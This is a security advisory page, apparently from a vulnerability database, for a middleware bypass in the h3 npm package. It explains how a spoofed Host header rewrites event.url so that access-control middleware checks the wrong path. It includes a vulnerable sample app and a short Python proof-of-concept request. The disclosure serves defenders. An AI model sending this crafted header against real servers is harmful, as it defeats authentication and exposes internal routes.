h3 has a middleware bypass with one gadget
H3 NodeRequestUrl bugs
Vulnerable pieces of code :
import { H3, serve, defineHandler, getQuery, getHeaders, readBody, defineNodeHandler } from "h3";
let app = new H3()
const internalOnly = defineHandler((event, next) => {
const token = event.headers.get("x-internal-key");
if (token !== "SUPERRANDOMCANNOTBELEAKED") {
return new Response("Forbidden", { status: 403 });
}
return next();
});
const logger = defineHandler((event, next) => {
console.log("Logging : " + event.url.hostname)
return next()
})
app.use(logger);
app.use("/internal/run", internalOnly);
app.get("/internal/run", () => {
return "Internal OK";
});
serve(app, { port: 3001 });
The middleware is super safe now with just a logger and a middleware to block internal access.
But there's one problems here at the logger .
When it log out the event.url or event.url.hostname or event.url._url
It will lead to trigger one specials method
// _url.mjs FastURL
get _url() {
if (this.#url) return this.#url;
this.#url = new NativeURL(this.href);
this.#href = void 0;
this.#protocol = void 0;
this.#host = void 0;
this.#pathname = void 0;
this.#search = void 0;
this.#searchParams = void 0;
this.#pos = void 0;
return this.#url;
}
The NodeRequestUrl is extends from FastURL so when we just access .url or trying to dump all data of this class . This function will be triggered !!
And as debugging , the this.#url is null and will reach to this code :
this.#url = new NativeURL(this.href);
Where is the this.href comes from ?
get href() {
if (this.#url) return this.#url.href;
if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
return this.#href;
}
Because the this.#url is still null so this.#href is built up by :
if (!this.#href) this.#href = `${this.#protocol || "http:"}//${this.#host || "localhost"}${this.#pathname || "/"}${this.#search || ""}`;
Yeah and this is untrusted data go . An attacker can pollute the Host header from requests lead overwrite the event.url .
Middleware bypass
What can be done with overwriting the event.url?
Audit the code we can easily realize that the routeHanlder is found before running any middlewares
handler(event) {
const route = this["~findRoute"](event);
if (route) {
event.context.params = route.params;
event.context.matchedRoute = route.data;
}
const routeHandler = route?.data.handler || NoHandler;
const middleware = this["~getMiddleware"](event, route);
return middleware.length > 0 ? callMiddleware(event, middleware, routeHandler) : routeHandler(event);
}
So the handleRoute is fixed but when checking with middleware it check with the spoofed one lead to MIDDLEWARE BYPASS
We have this poc :
import requests
url = "http://localhost:3000"
headers = {
"Host":f"localhost:3000/abchehe?"
}
res = requests.get(f"{url}/internal/run",headers=headers)
print(res.text)
This is really dangerous if some one just try to dump all the event.url or something that trigger _url() from class FastURL and need a fix immediately.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | h3 | >= 2.0.0-0, < 2.0.1-rc.15 | 2.0.1-rc.15 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N- Weakness (CWE)
CWE-290- Platform
- npm
- Package
h3- Disclosed
- 18.03.2026
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-3vj8-jmxq-cgj5 - CC BY 4.0
Vulnerability history: h3
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 10
- First → latest
- 01.2026 03.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- High 3
- Medium 6
- Low 1
Disclosures per year
- 2026: 10
-
h3 has a middleware bypass with one gadget this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.